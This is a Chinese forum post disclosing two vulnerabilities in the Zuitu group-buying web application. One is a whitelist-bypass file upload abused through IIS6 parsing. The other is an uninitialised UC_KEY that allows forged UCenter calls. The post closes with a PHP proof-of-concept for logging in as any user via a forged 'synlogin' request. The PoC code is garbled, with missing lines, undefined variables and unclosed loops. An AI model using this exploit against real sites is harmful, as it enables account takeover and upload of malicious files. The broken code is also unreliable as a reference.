东西压了一年了 现在很多人都有了 听说前两天还有个黑客因为搞这个被河蟹了。。
- - 默哀 看看就好了。。
第一个是上传漏洞 此漏洞在6月份出的新版本中已经得到修复
最土自己写了upload_image上传函数 本身挺安全的
但是upload.php没有用这个函数
第25行: $upext='txt,rar,zip,jpg,jpeg,gif,png,swf,wmv,avi,wma,mp3,mid'; |
第65行: $fileinfo=pathinfo($upfile['name']); |
//正则匹配用户提交文件的后缀 只要包含白名单就OK
最后保存的文件后缀是以用户提交为准而不是$n 利用iis6文件解析的特性 导致漏洞产生
第二个是UC_key未初始化漏洞 此类漏洞在很多小程序里都有
由于UCkey未初始化导致访问者可以随意调用uc接口的各种函数
其中包括自动登陆 修改密码
这里给个任意用户登陆的POC
以下是引用片段: <?php error_reporting(0); $username = $argv[1]; $code = 'time=11111111111&username='.$username.'&action=synlogin'; /api/uc.php?code='.$x); function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $cryptkey = $keya.md5($keya.$keyc); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $result = ''; $rndkey = array(); for($j = $i = 0; $i < 256; $i++) { for($a = $j = $i = 0; $i < $string_length; $i++) { if($operation == 'DECODE') { } |